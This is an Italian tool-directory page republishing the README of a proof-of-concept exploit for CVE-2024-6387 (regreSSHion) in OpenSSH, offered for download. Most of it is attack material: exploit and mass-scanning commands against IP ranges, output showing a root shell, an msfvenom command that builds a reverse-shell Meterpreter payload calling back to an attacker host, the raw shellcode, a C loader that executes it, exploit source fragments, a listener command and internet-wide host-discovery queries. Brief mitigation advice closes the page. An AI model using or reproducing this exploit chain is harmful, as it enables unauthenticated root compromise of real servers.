Skip to content
KitploitKITPLOIT
StrumentiBlog
Log in
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Strumenti/GitHubGitHub/prelearn-code/cve-2024-6387
Analisi delle VulnerabilitàExploitShellcodePenetration TestingCommand and ControlStrumento di Accesso RemotoSviluppo Payload
GitHubprelearn-code/cve-2024-6387

CVE-2024-6387

Exploit proof-of-concept per CVE-2024-6387 (regreSSHion) che mira all'esecuzione remota di codice non autenticata nel server OpenSSH tramite condizione di gara nel gestore di segnali. Include scansione, sfruttamento e generazione di reverse shell.

Vedi Repository
292 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Articolo originale ripubblicato

openssh CVE-2024-6387 - PoC

📜 Descrizione

Nota: questo script è un prototipo rapido di PoC, ci si possono aspettare alcuni errori e bug. Testato su: Kali Linux, ParrotSec, Ubuntu 22.04

Vulnerabilità di esecuzione di codice in remoto non autenticata nel server OpenSSH

È stata trovata una condizione di gara nel signal handler del server OpenSSH (sshd), in cui un client non si autentica entro LoginGraceTime secondi (120 di default, 600 nelle vecchie versioni di OpenSSH), quindi il gestore SIGALRM di sshd viene chiamato in modo asincrono. Tuttavia, questo gestore di segnali chiama varie funzioni che non sono async-signal-safe, ad esempio syslog().

📁 Indice

  • 📖 Dettagli
  • ⚙️ Utilizzo
  • 🔍 Scoperta degli host
  • 🛠️ Mitigazione
  • 💁 Riferimenti
  • 📌 Autore
  • 📢 Disclaimer

✍🏻 Dettagli

Puoi trovare i dettagli tecnici qui.

Il difetto, scoperto dai ricercatori di Qualys nel May 2024, e a cui è stato assegnato l'identificativo CVE-2024-6387, è dovuto a una condizione di gara nel signal handler di sshd che consente a un attaccante remoto non autenticato di eseguire codice arbitrario come root.

"Se un client non si autentica entro LoginGraceTime secondi (120 di default), il gestore SIGALRM di sshd viene chiamato in modo asincrono e chiama varie funzioni che non sono async-signal-safe,"

"Un attaccante remoto non autenticato può sfruttare questo difetto per eseguire codice arbitrario con privilegi di root."

⚙️ Utilizzo

Scansione del server OpenSSH

Requisito: ultima versione di python3

$ python3 CVE-2024-6387.py --exploit 192.168.56.101 --port 22

 ██████╗ ██████╗ ███████╗███╗   ██╗███████╗███████╗██╗  ██╗
██╔═══██╗██╔══██╗██╔════╝████╗  ██║██╔════╝██╔════╝██║  ██║
██║   ██║██████╔╝█████╗  ██╔██╗ ██║███████╗███████╗███████║
██║   ██║██╔═══╝ ██╔══╝  ██║╚██╗██║╚════██║╚════██║██╔══██║
╚██████╔╝██║     ███████╗██║ ╚████║███████║███████║██║  ██║
 ╚═════╝ ╚═╝     ╚══════╝╚═╝  ╚═══╝╚══════╝╚══════╝╚═╝  ╚═╝
   Author: l0n3m4n / Scanner: @xaitax / PoC: @7etsuo 
    
Exploiting vulnerabilities...
Attempting exploitation with glibc base: 0xb7200000
Attempt 0 of 20000
Received SSH version: SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.6
Received KEX_INIT (1024 bytes)
send_packet: Resource temporarily unavailable
send_packet: Resource temporarily unavailable
send_packet: Resource temporarily unavailable
send_packet: Resource temporarily unavailable
.....
Exploitation successful..!

~# whoami && id
root
uid=0(root) gid=0(root) groups=0(root) 

Esportazione (csv,txt,json)

$ python3 CVE-2024-6387.py -s 192.168.56.101 -p 22 -o json -f result.json

Target multipli

$ python3 CVE-2024-6387.py -s targets.txt -p 22 -o json -f result.json

Aggiunta di un timeout

$ python3 CVE-2024-6387.py -s 192.168.56.101 -p 22 -t 10 -o json -f result.json

Intervalli di rete

$ python3 CVE-2024-6387.py -s 192.168.56.101/24 -p 22 -t 5 -o json -f result.json

Porta personalizzata

$ python3 CVE-2024-6387.py -s 192.168.56.101 -p 2244 -t 5 -o json -f result.json

Processo di escalation

Ottenere una reverse shell

# Generating a shellcode 
$ msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.56.100 LPORT=9999 -f c
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 130 bytes
Final size of c file: 574 bytes

unsigned char buf[] =
"\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"
"\x6a\x22\x41\x5a\x6a\x07\x5a\x0f\x05\x48\x85\xc0\x78\x51"
"\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01"
"\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00"
"\x27\x0f\xc0\xa8\x38\x64\x51\x48\x89\xe6\x6a\x10\x5a\x6a"
"\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74"
"\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31"
"\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58"
"\x6a\x01\x5f\x0f\x05\x5e\x6a\x7e\x5a\x0f\x05\x48\x85\xc0"
"\x78\xed\xff\xe6";

Payload personalizzato

#include <stdio.h>

// A placeholder of your custom payload 
const char shellcode[] =
"\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"
"\x6a\x22\x41\x5a\x6a\x07\x5a\x0f\x05\x48\x85\xc0\x78\x51"
"\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01"
"\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00"
"\x27\x0f\xc0\xa8\x38\x64\x51\x48\x89\xe6\x6a\x10\x5a\x6a"
"\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74"
"\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31"
"\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58"
"\x6a\x01\x5f\x0f\x05\x5e\x6a\x7e\x5a\x0f\x05\x48\x85\xc0"
"\x78\xed\xff\xe6";

int main() {
    // Execute shellcode
    printf("Executing shellcode...\n");
    void (*sc)() = (void(*)())shellcode;
    sc();

    return 0;
}

Payload effettivo

#include <stdio.h>
 

#define MAX_PACKET_SIZE (256 * 1024)
#define LOGIN_GRACE_TIME 120
#define MAX_STARTUPS 100
#define CHUNK_ALIGN(s) (((s) + 15) & ~15)

// Possible glibc base addresses (for ASLR bypass)
uint64_t GLIBC_BASES[] = { 0xb7200000, 0xb7400000 };
int NUM_GLIBC_BASES = sizeof (GLIBC_BASES) / sizeof (GLIBC_BASES[0]);

// Shellcode placeholder (replace with actual shellcode)
unsigned char shellcode[] = "\x90\x90\x90\x90";

Compilazione e avvio del payload

# compiling payload
$ gcc -shared -o exploit.so -fPIC 7etsuo-regreSSHion.c 

Esecuzione del payload

# Once you receive a successful exploitation message, the msfconsole automatically initiates a Meterpreter session.
$ python3 CVE-2024-6387.py --exploit 192.168.56.101 --p 22 

Cattura del payload

msfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/reverse_tcp; set LHOST 192.168.56.100; set LPORT 9999; exploit -j"

🔍 Scoperta degli host

  • Hunter: /product.name="OpenSSH"
  • FOFA: app="OpenSSH"
  • SHODAN: product:"OpenSSH"
  • CENSYS: (openssh) and labels=remote-access

🛠️ Mitigazione

  • Gestione delle patch: Applicare rapidamente le patch disponibili per OpenSSH è fondamentale per chiudere la finestra di vulnerabilità. L'applicazione tempestiva delle patch garantisce che gli exploit noti non possano essere utilizzati contro i tuoi sistemi, riducendo così la finestra di opportunità per gli attaccanti.

  • Controllo degli accessi avanzato: Limitare l'accesso SSH tramite controlli basati sulla rete aggiunge un ulteriore livello di difesa. Questo approccio riduce al minimo l'esposizione a potenziali attaccanti limitando le connessioni SSH solo a reti o indirizzi IP autorizzati. L'implementazione di strumenti come regole firewall o l'uso di VPN per l'accesso sicuro può far rispettare efficacemente queste restrizioni.

  • Segmentazione della rete: Dividere la rete in segmenti aiuta a contenere l'impatto di una potenziale violazione. Segmentando i sistemi critici e i dati sensibili dalle parti meno critiche della rete, si riduce il rischio di movimento laterale da parte degli attaccanti. Questa segmentazione può essere integrata con rigorosi controlli di accesso e monitoraggio per rilevare e rispondere a qualsiasi tentativo non autorizzato di violare questi segmenti.

Scarica lo strumento